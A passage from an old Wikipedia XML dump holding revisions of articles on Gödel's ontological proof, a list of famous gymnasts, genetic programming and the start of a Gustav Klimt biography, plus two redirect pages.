[[lt:Guanozinas]]</text>
    </revision>
  </page>
  <page>
    <title>Gamma rays</title>
    <id>12418</id>
    <revision>
      <id>15910106</id>
      <timestamp>2002-07-07T14:51:11Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[gamma ray]]</comment>
      <text xml:space="preserve">#REDIRECT [[gamma ray]]</text>
    </revision>
  </page>
  <page>
    <title>Gödel's ontological proof</title>
    <id>12420</id>
    <revision>
      <id>38494973</id>
      <timestamp>2006-02-06T19:01:09Z</timestamp>
      <contributor>
        <ip>130.233.22.111</ip>
      </contributor>
      <comment>/* Derivation */</comment>
      <text xml:space="preserve">'''Gödel's ontological proof''' is a formalization of [[Anselm of Canterbury|Saint Anselm's]] [[ontological argument]] for [[God]]'s existence by the mathematician [[Kurt Gödel]].

St. Anselm's [[ontology|ontological]] argument, in its most succinct form, is as follows: &quot;God, by definition, is that than which a greater cannot be thought.  God exists in the understanding.  If God exists in the understanding, we could imagine Him to be greater by existing in [[reality]].  Therefore, God must exist.&quot; A more elaborate version was given by [[Gottfried Leibniz]]; this is the version that Gödel studied and attempted to clarify with his ontological [[logical argument|argument]]. 

While Gödel was [[religion|religious]], he never published his
proof because he feared that it would be mistaken as establishing
God's existence beyond [[doubt]]. Instead, he only saw it as a [[logic|logical]]
investigation and a clean formulation of Leibniz' argument with all
[[assumption|assumptions]] spelled out. He repeatedly showed the argument to friends around [[1970]]; it was published in [[1987]], nine years after his death.
An outline of the [[mathematical_proof|proof]] follows.

==Modal logic==

The proof uses [[modal logic]], which distinguishes between ''necessary'' truths and ''contingent'' truths.

A [[truth]] is necessary if it cannot be avoided, such as 2 + 2 = 4;
by contrast, a contingent truth just happens to be the case,
for instance &quot;more than half of the earth is covered by water&quot;.
In the most common interpretation of modal logic, one considers &quot;all possible worlds&quot;. If a statement is true in all possible worlds, then it is a necessary truth. If a statement happens to be true in our world, but is not true in all other worlds, then it is a contingent truth. A statement that is true in some world (not necessarily our own) is called a ''[[logically possible|possible]]'' truth.

A ''property'' assigns to each [[object]], in every possible world, a truth value (either true or false). Note that not all worlds have the same objects: some objects exist in some worlds and not in others. A property has only to assign truth values to those objects that exist in a particular world. As an example, consider the property
:''P''(''x'') = ''x'' is grey
and consider the object 
:''s'' = my shirt
In our world, ''P''(''s'') is true because my shirt happens to be grey; in some other world, ''P''(''s'') is false, while in still  some other world, ''P''(''s'') wouldn't make sense because my shirt doesn't exist there.

We say that the property ''P'' ''entails'' the property ''Q'', if any object in any world that has the property ''P'' in that world also has the property ''Q'' in that same world. For example, the property 
:''P''(''x'') = ''x'' is taller than 2 meters 
entails the property
:''Q''(''x'') = ''x'' is taller than 1 meter.

== Axioms ==

We first assume the following [[axiom]]:

:'''Axiom 1''': It is possible to single out ''positive'' properties from among all properties.  Gödel defines a positive property rather vaguely: &quot;Positive means positive in the [[moral]] [[aesthetics|aesthetic]] sense (independently of the accidental structure of the world)... It may also mean pure ''attribution'' as opposed to ''privation'' (or containing privation).&quot; (Gödel 1995)

We then assume that the following three conditions hold for all positive properties (which can be summarized by saying &quot;the positive properties form an [[ultrafilter]]&quot;):

:'''Axiom 2''': If ''P'' is positive and ''P'' entails ''Q'', then ''Q'' is positive.
:'''Axiom 3''': If ''P''&lt;sub&gt;1&lt;/sub&gt;, ''P''&lt;sub&gt;2&lt;/sub&gt;, ''P''&lt;sub&gt;3&lt;/sub&gt;, ..., ''P''&lt;sub&gt;n&lt;/sub&gt; are positive properties, then the property (''P''&lt;sub&gt;''1''&lt;/sub&gt; AND ''P''&lt;sub&gt;2&lt;/sub&gt; AND ''P''&lt;sub&gt;3&lt;/sub&gt; ... AND ''P''&lt;sub&gt;n&lt;/sub&gt;) is positive as well.
:'''Axiom 4''': If ''P'' is a property, then either ''P'' or its negation is positive, but not both.

Finally, we assume:

:'''Axiom 5''': Necessary existence is a positive property (''Pos(NE)'').  This mirrors the key assumption in Anselm's argument.

Now we '''define''' a new property ''G'': if ''x'' is an object in some possible world, then ''G''(''x'') is true if and only if ''P''(''x'') is true in that same world ''for all'' positive properties ''P''. ''G'' is called the &quot;God-like&quot; property. An object ''x'' that has the God-like property is called God.

==Derivation==

From axioms 1 through 4, Godel argued that in ''some'' possible world there exists God. He used a sort of modal [[plenitude principle]] to argue this from the logical consistency of Godlikeness. Note that this property is itself positive, since it is the conjunction of the (infinitely many) positive properties.

Then, Gödel defined ''essences'': if ''x'' is an object in some world, then the property ''P'' is said to be an essence of ''x'' if ''P''(''x'') is true in that world and if ''P'' entails all other properties that ''x'' has in that world. We also say that ''x'' ''necessarily exists'' if for every essence ''P''(''x'') the following is true: in every possible world, there is an element ''y'' with ''P''(''y''). 

Since necessary existence is positive, it must follow from Godlikeness. Moreover, Godlikeness is an essence of God, since it entails all positive properties, and any nonpositive property is the negation of some positive property, so God cannot have any nonpositive properties. Since any Godlike object is necessarily existent, it follows that any Godlike object in one world is a Godlike object in all worlds, by the definition of necessary existence. Given the existence of a Godlike object in one world, proven above, we may conclude that there is a Godlike object in every possible world, as required.

From these hypotheses, it is also possible to prove that there is only one God in each world: by [[identity of indiscernibles]], no two distinct objects can have precisely the same properties, and so there can only be one object in each world that possesses property G.  Gödel did not attempt to do so however, as he purposely limited his proof to the issue of existence, rather than uniqueness.  This was more to preserve the logical precision of the argument than due to a penchant for polytheism. This uniqueness proof will only work if one supposes that the positiveness of a property is independent of the object to which it is applied, a claim which some have considered to be suspect.

== Critique of definitions and axioms ==

There are several reasons Gödel's axioms may not be realistic, including the following:

* It may be impossible to properly satisfy axiom 3, which assumes that a conjunction of positive properties is also a positive property; for the proof to work, the axiom must be taken to apply to arbitrary, not necessarily finite, collections of properties. Moreover, some positive properties may be incompatible with others.   For example mercy may be incompatible with justice.  In that case the conjunction would be an impossible property and ''G(x)'' would be false of every ''x''. Ted Drange has made this objection to the coherence of attributing all positive properties to God - see [http://www.infidels.org/library/modern/theodore_drange/incompatible.html this article] for Drange's list of incompatible properties and some counter arguments. For these reasons, this axiom was replaced in some reworkings of the proof (including Anderson's, below) by the assumption that ''G(x)'' is positive (''Pos(G(x)'').
* It was argued by [[Jordan Sobel]] that Gödel's axioms are too strong: they imply that all possible worlds are identical. He proved this result by considering the property &quot;is such that X is true&quot;, where X is any true modal statement about the world. If g is a Godlike object, and X is in fact true, then g must possess this property, and hence must possess it necessarily. But then X is a necessary truth. A similar argument shows that all falsehoods are necessary falsehoods. [[C. Anthony Anderson]] gave a slightly different axiomatic system which attempts to avoid this problem.

In Anderson's system, Axioms 1, 2, and 5 above are unchanged; however the other axioms are replaced with:
:Axiom 3': ''G(x)'' is positive.
:Axiom 4': If a property is positive, its negation is not positive.

These axioms leave open the possibility that a Godlike object will possess some non-positive properties, provided that these properties are contingent rather than necessary.

== See also ==

* [[Absolute Infinite]]
* [[Existence of God]]
* [[Modality]]
* [[Philosophy of religion]]
* [[Mathematics and God]]
* [[Synthetic proposition]]
* [[Teleological argument]]
* [[Theism]]

==External links==
*[http://www.stats.uwaterloo.ca/~cgsmall/ontology.html Kurt Gödel's Ontological Argument]
*[http://plato.stanford.edu/entries/ontological-arguments/#6 Stanford Encyclopedia of Philosophy: Ontological Argument]

==References==
* C. Anthony Anderson, &quot;Some Emendations of Gödel's Ontological Proof&quot;, Faith and Philosophy, Vol. 7, No 3, pp. 291-303, July 1990
* Kurt Gödel (1995). &quot;Ontological Proof&quot;. ''Collected Works: Unpublished Essays &amp; Lectures, Volume III''. pp. 403-404. Oxford University Press. ISBN 0195147227 
* A. P. Hazen, &quot;On Gödel's Ontological Proof&quot;, Australasian Journal of Philosophy, Vol. 76, No 3, pp. 361-377, September 1998
* Jordan Howard Sobel, &quot;Gödel's Ontological Proof&quot; in ''On Being and Saying. Essays for [[Richard Cartwright (philosopher)|Richard Cartwright]],'' ed. [[Judith Jarvis Thomson]] (MIT press, 1987)

[[Category:Christian philosophy]]
[[Category:Modal logic]]
[[Category:Theology]]

[[fr:Preuve ontologique de Gödel]]</text>
    </revision>
  </page>
  <page>
    <title>Gymnast</title>
    <id>12422</id>
    <revision>
      <id>42025857</id>
      <timestamp>2006-03-03T08:05:41Z</timestamp>
      <contributor>
        <ip>144.134.233.200</ip>
      </contributor>
      <comment>/* Female rhythmic */</comment>
      <text xml:space="preserve">'''Gymnasts''' are people who participate in the [[sport]]s of either [[artistic gymnastics]] or [[rhythmic gymnastics]].

See [[gymnasium (ancient Greece)]] for the origin of the word ''gymnast''.

==Famous gymnasts==

===Female artistic===

Australia:
*[[Monette Russo]] ([[Australia]], [[1988]] - )
*[[Allana Slater]] ([[Australia]], [[1984]] - )
*[[Lisa Skinner]]   ([[Australia]], [[1981]]-  )

Belarus:
*[[Svetlana Boguinskaya]] ([[USSR]] / [[Belarus]], [[1973]] - )
*[[Olga Korbut]] ([[USSR]] / [[Belarus]], [[1955]] - )

Brazil:
*[[Daniele Hypolito]] ([[Brazil]], [[1984]] -)
*[[Luisa Parente]] ([[Brazil]], [[1973]] - )
*[[Daiane dos Santos]] ([[Brazil]], [[1983]] - ) 

Canada:
*[[Karen Kelsall]] ([[Canada]], [[1962]] - )
*[[Elfi Schlegel]] ([[Canada]], [[1964]] - )

Czechoslovakia:
*[[Věra Čáslavská]] ([[Czechoslovakia]], [[1942]] - )

China:
*[[Cheng Fei]] ([[China]], [[1988]]-)
*[[Dong Fangxiao]] ([[China]])
*[[Fan Ye]] ([[China]], ([[1988]]-)
*[[Ma Yanhong]] ([[China]], [[1964]] - )
*[[Li Li]] ([[China]])
*[[Liu Xuan]] ([[China]])
*[[Lu Li]] ([[China]]), [[1976]] - )
*[[Mo Huilan]] ([[China]], [[1979]]-) 
*[[Sang Lan]] ([[China]])
*[[Zhang Nan]] ([[China]], [[1986]]-)

Germany:
*[[Maxi Gnauck]] ([[East Germany]], [[1964]] - )

Great Britain:
*[[Avril Lennox]] ([[UK]])
*[[Lisa Mason]] ([[UK]], [[1982]] - )
*[[Annika Reeder]] ([[UK]], [[1979]] - )
*[[Beth Tweddle]] ([[UK]])

Hungary:
*[[Ágnes Keleti]] ([[Hungary]])
*[[Henrietta Onodi]] ([[Hungary]])

Mexico:
*[[Brenda  Magaña]] ([[Mexico]], [[1977]] - )
*[[Laura del Carmen Moreno]] ([[Mexico]], [[1978]] - ) 

North Korea:
*[[Kim Gwang Suk]] ([[North Korea]])

Romania:
*[[Simona Amânar]] ([[Romania]], [[1979]] - )
*[[Oana Ban]] ([[Romania]], [[1986]]-)
*[[Nadia Comaneci]] ([[Romania]], [[1961]] - )
*[[Sabina Cojocar]] ([[Romania]], [[1985]] - )
*[[Aurelia Dobre]] ([[Romania]], [[1972]] - )
*[[Emilia Eberle]] ([[Romania]], [[1964]] - )
*[[Gina Gogean]]  ([[Romania]], [[1978]]-)
*[[Alexandra Marinescu]] ([[Romania]], [[1982]]-)
*[[Lavinia Milosovici]] ([[Romania]], [[1976-]])
*[[Aura Andreea Munteanu]] ([[Romania]], [[1988]]-)
*[[Maria Olaru]] ([[Romania]])
*[[Catalina Ponor]] ([[Romania]], [[1987]] - )
*[[Andreea Raducan]] ([[Romania]], [[1983]] -)
*[[Daniela Silivas]] ([[Romania]], [[1972]] - )
*[[Ecaterina Szabo]] ([Romania]])

Russia:
*[[Yelena Davydova]] ([[USSR]]/ [[Russia]],[[1961]]-) 
*[[Elena Dolgopolova]] ([[Russia]], [[1980]]- )
*[[Rozalia Galiyeva]] ([[USSR]]/[[Russia]]/[[Uzbekistan]], [[1977]]-)
*[[Ksenia Kekkonen]] ([[Russia]], [[1983]] - )
*[[Svetlana Khorkina]] ([[Russia]], [[1979]] -)
*[[Anastasia Kolesnikova]] ([[Russia]], [[1984]] - )
*[[Dina Kotchetkova]] ([[Russia]], [[1977]] - )
*[[Anna Kovalyova]] ([[Russia]], [[1983]] - )
*[[Yekaterina Lobazyuk]] ([[Russia]]), ([[1983]]- )
*[[Anna Pavlova (gymnast)|Anna Pavlova]] ([[Russia]], [[1987]] - )
*[[Nataliya Shaposhnikova]] ([[USSR]]/[[Russia]], [[1961]] -)
*[[Elena Zamolodchikova]] ([[Russia]], [[1982]] -)

Ukraine:
*[[Polina Astakhova]] ([[USSR]]/[[Ukraine]], [[1936]] - [[2005]])
*[[Maria Gorokhovskaya]] ([[USSR]]/[[Ukraine]], [[1921]] - [[2001]])
*[[Tatyana Gutsu]] ([[USSR]]/[[Ukraine]], [[1976]] - )
*[[Larissa Latynina]] ([[USSR]]/[[Ukraine]], [[1934]] - )
*[[Tatiana Lysenko]] ([[USSR]]/[[Ukraine]])
*[[Oksana Omelyanchik]] ([[USSR]]/[[Ukraine]])
*[[Lilia Podkopayeva]] ([[Ukraine]], [[1978]] - )
*[[Lyudmila Turishcheva]] ([[USSR]]/[[Ukraine]], [[1952]] - )

USA:
*[[Vanessa Atler]] ([[USA]]) [[1982]] - )
*[[Mohini Bhardwaj]] ([[USA]], [[1978]] - )
*[[Amanda Borden]] ([[USA]], [[1977]] -)
*[[Amy Chow]] ([[USA]], [[1978]] - )
*[[Jamie Dantzscher]] ([[USA]], [[1982]] -)
*[[Dominique Dawes]] ([[USA]], [[1976]] - )
*[[Julissa Gomez]] ([[USA]]), [[1972]] - [[1991]])
*[[Hilary Grivich]] ([[USA]]), [[1977]] - [[1997]])
*[[Katie Heenan]]  ([[USA]], [[1985]] - )
*[[Christy Henrich]] ([[USA]])
*[[Terin Humphrey]] ([[USA]], [[1986]] - )
*[[Carly Janiga]] ([[USA]], [[1988]] - )
*[[Brandy Johnson]] ([[USA]])
*[[Kathy Johnson]] ([[USA]])
*[[Courtney Kupets]] ([[USA]], [[1986]]-)
*[[Kristen Maloney]] ([[USA]], [[1981]] - )
*[[Julianne McNamara]] ([[USA]], [[1965]] - )
*[[Chellsie Memmel]] ([[United States]], [[1988]]-)
*[[Shannon Miller]] ([[USA]], [[1977]] - )
*[[Phoebe Mills]] ([[USA]])
*[[Dominique Moceanu]] ([[USA]], [[1981]] - )
*[[Betty Okino]] ([[USA]])
*[[Carly Patterson]] ([[USA]], [[1988]] - ) 
*[[Jaycie Phelps]] ([[USA]], [[1979]] - )
*[[Elise Ray]] ([[USA]], [[1982]] - )
*[[Mary Lou Retton]] ([[USA]], [[1968]] - ) 
*[[Cathy Rigby]] ([[USA]], [[1952]] - )
*[[Kerri Strug]] ([[USA]], [[1977]] - )
*[[Kim Zmeskal]] ([[USA]], [[1976]] -)

USSR:
*[[Polina Astakhova]] ([[USSR]]/[[Ukraine]], [[1936]] - [[2005]])
*[[Svetlana Boguinskaya]] ([[USSR]] / [[Belarus]], [[1973]] - )
*[[Oksana Chusovitina]] ([[USSR]]/[[Uzbekistan]], [[1975]] - )
*[[Yelena Davydova]] ([[USSR]]/ [[Russia]],[[1961]]-)
*[[Maria Filatova]] ([[USSR]])
*[[Maria Gorokhovskaya]] ([[USSR]]/[[Ukraine]], [[1921]] - [[2001]])
*[[Natalia Ilienko]] ([[USSR]], [[1967]] - )
*[[Nellie Kim]] ([[USSR]], [[1957]] - )
*[[Larissa Latynina]] ([[USSR]]/[[Ukraine]], [[1934]] - )
*[[Elena Mukhina]] ([[USSR]])
*[[Oksana Omelyanchik]] ([[USSR]]/[[Ukraine]])
*[[Nataliya Shaposhnikova]] ([[USSR]]/[[Russia]], [[1961]] -)
*[[Elena Shushunova]] ([[USSR]], [[1969]] - )
*[[Lyudmila Turishcheva]] ([[USSR]]/[[Ukraine]], [[1952]] - )
*[[Natalia Yurchenko]] ([[USSR]])

Uzebekistan:
*[[Oksana Chusovitina]] ([[Soviet Union]]/[[Uzbekistan]], [[1975]] - )

===Male artistic===

Belarus:
*[[Ivan Ivankov]] ([[Belarus]])
*[[Vitaly Scherbo]] ([[Belarus]], [[1972]] - )

Brazil:
*[[Diego Hypolito]] ([[Brazil]])
*[[Mosiah Rodrigues]] ([[Brazil]])

Bulgaria:
*[[Jordan Jovtchev]] ([[Bulgaria]], [[1973]] - )

Canada:*[[http://gymbrooke.com/Canadian_Results_since_1956.pdf]] 
*&quot;[[Robert Tait Mackenzie]]&quot;  ([[Canada]], [[1885]] - ) 
*[[Ed Garnier]]  ([[Canada]], [[]] - )*[[http://www.umich.edu/~bhl/athdept/gymmen/gymmen.htm]]
*[[Edourd Monpetit]]  ([[Canada]], [[]] - )*[[http://www.umich.edu/~bhl/athdept/gymmen/gymmen.htm]]
*[[Gilbert Larose]]  ([[Canada]], [[]] - )*[[http://www.umich.edu/~bhl/athdept/gymmen/gymmen.htm]]
*[[Sid Jensen]]  ([[Canada]], [[]] - )*[[http://www.umich.edu/~bhl/athdept/gymmen/gymmen.htm]]
*&quot;[[Andre Simard]]&quot;  ([[Canada]], [[1967]] - )
*[[Jean Gagnon]]  ([[Canada]], [[1970]] - )*[[http://www.umich.edu/~bhl/athdept/gymmen/gymmen.htm]]
*[[Philip Delasalle]]  ([[Canada]], [[]] - )
*[[Jean Choquette]]  ([[Canada]], [[1972]] - )
*[[Philip Chartrand]]  ([[Canada]], [[1976]] - )
*[[Kyle Shewfelt]] ([[Canada]], [[1982]] - )

China:
*[[Li Ning]] ([[China]], [[1963]] - )
*[[Yang Wei (gymnast)|Yang Wei]] ([[China]], [[1980]] - )
*[[Li Xiaopeng (gymnast)|Li Xiaopeng]] ([[China]], [[1981]] - )

Germany:
*[[Sylvio Kroll]] ([[Germany]])
*[[Sven Tippelt]] ([[Germany]])
*[[Andreas Wecker]] ([[Germany]])

Greece:
*[[Vlasios Maras]] ([[Greece]], [[1983]] - )

Hungary:
*[[Szilveszter Csollányi]] ([[Hungary]])
*[[Zoltán Supola]] ([[Hungary]])

Italy:
*[[Yuri Chechi]] ([[Italy]], [[1969]] - )

Japan:
*[[Yoshihiro Saito]] ([[Japan]], [[1976]] - )
*[[Mitsuo Tsukahara]] ([[Japan]])
*[[Naoya Tsukahara]] ([[Japan]])

Latvia:
*[[Evgeni Sapronenko]] ([[Latvia]], [[1978]] - )

Netherlands:
*[[Yuri van Gelder]] ([[Netherlands]])
*[[Jeffrey Wammes]] ([[Netherlands]])

Puerto Rico:
*[[Hector Tanco]] ([[Puerto Rico]])

Romania:
*[[Marian Dragulescu]] ([[Romania]], [[1980]] - )
*[[Ioan Suciu]] ([[Romania]])
*[[Marius Urzica]] ([[Romania]], [[1975]] - )

Russia:
*[[Nikolai Andrianov]] ([[USSR]]/[[Russia]], [[1952]] - )
*[[Dmitry Bilozerchev]] ([[USSR]]/[[Russia]], [[1966]] - )
*[[Alexei Bondarenko]] ([[Russia]], [[1978]] - )
*[[Nikolai Krukov]] ([[Russia]])
*[[Yevgeny Krylov]] ([[Russia]])
*[[Alexei Nemov]] ([[Russia]], [[1976]] - )
*[[Boris Shakhlin]] ([[USSR]]/[[Russia]], [[1932]] - )
*[[Yuri Titov]] ([[Russia]])
*[[Alexandr Tkachyov]] ([[USSR]]/[[Russia]], [[1957]] - )
*[[Mikhail Voronin]] ([[USSR]]/[[Russia]], [[1945]] - [[2004]])


Slovenia:
*[[Miro Cerar]] ([[Slovenia]], [[1939]] - )
*[[Leon Štukelj]] ([[Slovenia]], [[1898]] - [[1999]])

Spain:
*[[Joaquín Blume]] ([[Spain]], [[1959]] - )

Ukraine:
*[[Alexander Beresch]] ([[Ukraine]])
*[[Roman Zozulya]] ([[Ukraine]])

USA:
*[[Bart Conner]] ([[United States]])
*[[Tim Daggett]] ([[United States]])
*[[Mitch Gaylord]] ([[United States]], [[1961]] - )
*[[Morgan Hamm]] ([[United States]], [[1982]] - )
*[[Paul Hamm]] ([[United States]], [[1982]] - )
*[[Peter Vidmar]] ([[United States]], [[1961]] - )
*[[Blaine Wilson]] ([[United States]], [[1974]] - )

USSR:
*[[Nikolai Andrianov]] ([[USSR]]/[[Russia]], [[1952]] - )
*[[Dmitry Bilozerchev]] ([[USSR]]/[[Russia]], [[1966]] - )
*[[Boris Shakhlin]] ([[USSR]]/[[Russia]], [[1932]] - )
*[[Yuri Titov]] ([[USSR]]/[[Russia]])
*[[Alexandr Tkachyov]] ([[USSR]]/[[Russia]], [[1957]] - )
*[[Mikhail Voronin]] ([[USSR]]/[[Russia]], [[1945]] - [[2004]])

===Female rhythmic===

Australia:
*[[Penelope Blackmore]] ([[1984]] - )
*[[Danielle LeRay]] ([[1982]] - )
*[[Kasumi Takahashi]] ([[1980]] - )

Belarus:
*[[Larissa Loukianenko]] ([[1973]] - )
*[[Yulia Raskina]] ([[1982]] - )
*[[Inna Zhukova]] ([[1986]] - )

Bulgaria:
*[[Teodora Alexandrova]] ([[1981]] - )
*[[Neshka Robeva]] ([[1946]] - )
*[[Maria Gigova]] ([[1947]] - )
*[[Bianka Panova]] ([[1970]] - )
*[[Maria Petrova (rhythmic gymnast)|Maria Petrova]] ([[1975]] - )
*[[Simona Peycheva]] ([[1985]] - )

Canada:
*[[Lori Fung]] ([[1963]] - )
*[[Mary Sanders]] ([[1985]] - )

China:
*[[Ling Zhong]] ([[1983]] - )

France:
*[[Eva Serrano]] ([[1978]] - )

Germany:
*[[Lisa Ingildeeva]] ([[1988]] - )

Greece:
*[[Eleni Andriola]] ([[1986]] - )

Israel:
*[[Katia Pisetsky]] ([[1986]] - )

Kazakhstan:
*[[Aliya Yussupova]] ([[1984]] - )

Poland:
*[[Aleksandra Szutenberg]] ([[1988]] - )

Romania:
*[[Irina Deleanu]] ([[1975]] - )

Russia:
*[[Yulia Barsukova]] ([[1978]] - )
*[[Alina Kabaeva]] ([[1983]] - )
*[[Irina Tchachina]] ([[1982]] - )
*[[Vera Sessina]] ([[1986]] - )

Spain:
*[[Almudena Cid]] ([[1980]] - )
*[[Carolina Pascual]] ([[1976]] - )

Ukraine:
*[[Anna Bessonova]] ([[1984]] - )
*[[Natalia Godunko]] ([[1984]] - )
*[[Ekaterina Serebrianskaya]] ([[1977]] - )
*[[Oxana Skaldina]] ([[USSR]]/[[Ukraine]], [[1972]] - )
*[[Alexandra Timoshenko]] ([[USSR]]/[[Ukraine]], [[1972]] - )
*[[Elena Vitrichenko]] ([[1976]] - )
*[[Tamara Yerofeeva]] ([[1982]] - )

USA:
*[[Mary Sanders]] ([[1985]] - )

USSR:
*[[Irina Deriugina]] ([[1958]] - )
*[[Marina Lobatch]] ([[1970]] - )
*[[Galina Shugurova]] ([[1955]] - )
*[[Oxana Skaldina]] ([[USSR]]/[[Ukraine]], [[1972]] - )
*[[Alexandra Timoshenko]] ([[USSR]]/[[Ukraine]], [[1972]] - )

Yugoslavia:
*[[Milena Reljin]] ([[1967]] - )

===Male rhythmic===
Spain:
*[[Ruben Orihuela]] ([[Spain]], ? - )

===References===
*[[http://www.umich.edu/~bhl/athdept/gymmen/gymmen.htm]]  (University of Michigan - )
*[[http://www.worldgymrank.com/Archive.html]] ( World Ranking )
*[[http://gymbrooke.com/Canadian_Results_since_1956.pdf]] ( Summary of Canadian Gymnastic Record)

[[Category:Gymnastics]]</text>
    </revision>
  </page>
  <page>
    <title>Greek Rap</title>
    <id>12423</id>
    <revision>
      <id>15910110</id>
      <timestamp>2003-01-19T09:34:10Z</timestamp>
      <contributor>
        <username>Lorenzarius</username>
        <id>4308</id>
      </contributor>
      <minor />
      <comment>fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Greek hip hop]]</text>
    </revision>
  </page>
  <page>
    <title>Genetic programming</title>
    <id>12424</id>
    <revision>
      <id>39299431</id>
      <timestamp>2006-02-12T04:39:55Z</timestamp>
      <contributor>
        <ip>24.125.24.165</ip>
      </contributor>
      <comment>I (Michael Gospatrick) wrote the meta-gp paragraph, and was trying to give proper credit. But you're right, it does look self promoting and adds no useful information so I took it out.</comment>
      <text xml:space="preserve">'''Genetic programming''' ('''GP''') is an automated methodology inspired by [[biological evolution]] to find [[computer programs]] that best perform a user-defined task. It is therefore a particular [[machine learning]] technique that uses an [[evolutionary algorithm]] to optimize a population of computer programs according to a [[fitness landscape]] determined by a program's ability to perform a given computational task. The first experiments with GP were reported by [http://www-2.cs.cmu.edu/~sfs/ Stephen F. Smith] (1980) and [http://www.sover.net/~nichael/ Nichael L. Cramer] (1985), as described in the famous book ''Genetic Programming: On the Programming of Computers by Means of Natural Selection'' by [[John Koza]] (1992).

Computer programs in GP can be written in a variety of [[programming_language|programming languages]]. In the early (and traditional) implementations of GP, program instructions and data values were organized in [[tree_structure|tree-structures]], thus favoring the use of languages that naturally embody such a structure (an important example pioneered by Koza is [[Lisp_programming_language|Lisp]]). Other forms of GP have been suggested and successfully implemented, such as the simpler [[linear_genetic_programming|linear representation]] which suits the more traditional [[imperative languages]] [see, for example, Banzhaf ''et al.'' (1998)]. The commercial GP software [http://www.aimlearning.com Discipulus], for example, uses [[linear genetic programming]] combined with [[machine code]] language to achieve better performance. Differently, the [http://www.cad.polito.it/research/microgp.html MicroGP] uses an internal representation similar to [[linear genetic programming]] to generate programs that fully exploit the syntax of a given assembly language.

GP is very computationally intensive and so in the 1990s it was mainly used to solve relatively simple problems. However, more recently, thanks to various improvements in GP technology and to the well known [[Moore's_law|exponential growth in CPU power]], GP has started delivering a number of outstanding results. At the time of writing, nearly 40 [http://www.genetic-programming.com/humancompetitive.html human-competitive] results have been gathered, in areas such as [[quantum computing]], electronic design, game playing, sorting, searching and many more. These results include the replication or infringement of several post-year-2000 inventions, and the production of two patentable new inventions.

Developing a theory for GP has been very difficult and so in the 1990s genetic programming was considered a sort of pariah amongst the various techniques of search. However, after a series of breakthroughs in the early 2000s, the theory of GP has had a formidable and rapid development. So much so that it has been possible to build exact probabilistic models of GP (schema theories and [[Markov chain]] models) and to show that GP is more general than, and in fact includes, [[genetic algorithm]]s.

Genetic Programming techniques have now been applied to [[evolvable hardware]] as well as computer programs.

'''Meta-Genetic Programming''' is the technique of evolving a genetic programming system using genetic programming itself. Critics have argued that it is theoretically impossible, but more research is needed.

== See also ==

[[Genetic_representation|Genetic representation]]

== Bibliography ==

*Banzhaf, W., Nordin, P., Keller, R.E., Francone, F.D. (1998), ''Genetic Programming: An Introduction: On the Automatic Evolution of Computer Programs and Its Applications'', Morgan Kaufmann
*Cramer, Nichael Lynn (1985),  &quot;[http://www.sover.net/~nichael/nlc-publications/icga85/index.html A representation for the Adaptive Generation of Simple Sequential Programs]&quot; in ''Proceedings of an International Conference on Genetic Algorithms and the Applications'', Grefenstette, John J. (ed.), Carnegie Mellon University
*Koza, J.R. (1990), ''Genetic Programming: A Paradigm for Genetically Breeding Populations of Computer Programs to Solve Problems'', Stanford University Computer Science Department technical report [http://www.genetic-programming.com/jkpdf/tr1314.pdf STAN-CS-90-1314]. A thorough report, possibly used as a draft to his 1992 book.
*Koza, J.R. (1992), ''Genetic Programming: On the Programming of Computers by Means of Natural Selection'', MIT Press
*Koza, J.R. (1994), ''Genetic Programming II: Automatic Discovery of Reusable Programs'', MIT Press
*Koza, J.R., Bennett, F.H., Andre, D., and Keane, M.A. (1999), ''Genetic Programming III: Darwinian Invention and Problem Solving'', Morgan Kaufmann
*Koza, J.R., Keane, M.A., Streeter, M.J., Mydlowec, W., Yu, J., Lanza, G. (2003), ''Genetic Programming IV: Routine Human-Competitive Machine Intelligence'', Kluwer Academic Publishers
*Langdon, W. B., Poli, R. (2002), ''Foundations of Genetic Programming'', Springer-Verlag
*Smith, S.F. (1980), ''A Learning System Based on Genetic Adaptive Algorithms'', PhD dissertation (University of Pittsburgh)

== External links ==

*[http://www.cs.ucl.ac.uk/research/genprog/gp2faq/gp2faq.html Genetic Programming FAQ]
*[http://www.faqs.org/faqs/ai-faq/genetic/part1/preamble.html The Hitch-Hiker's Guide to Evolutionary Computation]
*[http://www.genetic-programming.com John Koza's Genetic Programming Site]
*[http://www.idsia.ch/~juergen/gp.html Juergen Schmidhuber's GP Site, with pre-Koza GP papers (1987)]
*[http://www.cs.bham.ac.uk/~wbl/biblio/README.html Bill Langdon's GP bibliography]
*[http://www.helpmefigurethisout.com Meta-Genetic Programming Site]

[[Category:Evolutionary algorithms]]

[[zh:遗传编程]]
[[cs:Genetické programování]]
[[de:Genetische Programmierung]]
[[pl:Programowanie genetyczne]]
[[sl:genetsko programiranje]]</text>
    </revision>
  </page>
  <page>
    <title>Gustav Klimt</title>
    <id>12425</id>
    <revision>
      <id>41721302</id>
      <timestamp>2006-03-01T07:42:19Z</timestamp>
      <contributor>
        <username>Ewulp</username>
        <id>998182</id>
      </contributor>
      <comment>added: &quot;Klimt's primary subject...greatest legacy&quot; and moved portrait image</comment>
      <text xml:space="preserve">'''Gustav Klimt''' ([[July 14]], [[1862]] - [[February 6]], [[1918]]) was an [[Austria|Austrian]] [[Symbolist painters|Symbolist painter]] and one of the most prominent members of the [[Vienna]] [[Art Nouveau]] ([[Vienna Secession]]) movement. His major works include paintings, [[murals]], [[Sketch (drawing)|sketches]] and other art objects, many of which are on display in the [[Vienna Secession gallery]]. Klimt's primary subject is the female body, and his works are marked by a frank eroticism. His pencil drawings, which are very numerous, have been regarded by many as his greatest legacy.
[[Image:GustavKlimt.jpg|frame|left|Gustav Klimt]] 
  	
==Life and art==

Gustav Klimt was  born in [[Baumgarten]], near Vienna, Austria, the second of seven childen.  His father (Ernst Klimt) was an engraver and was married to Anna Klimt (nee Finster).   

He was educated at the Vienna Kunstgewerbe Art School in the years 1879-1883. Klimt was also an honorary member of the Universities of [[University of Munich|Munich]] and [[University of Vienna|Vienna]].
[[Image:Gustav Klimt 016.jpg|thumb|right|200px|Gustav Klimt. ''The Kiss.'' [[1907]]-[[1908]]. Oil on canvas. [[Österreichische Galerie Belvedere]].]]
[[Image:Gustav Klimt 050.jpg|thumb|right|200px|Gustav Klimt. ''Eugenia (Mäda) Primavesi''. [[1912]]. Oil on canvas. 150 × 110 cm. Private collection.]]

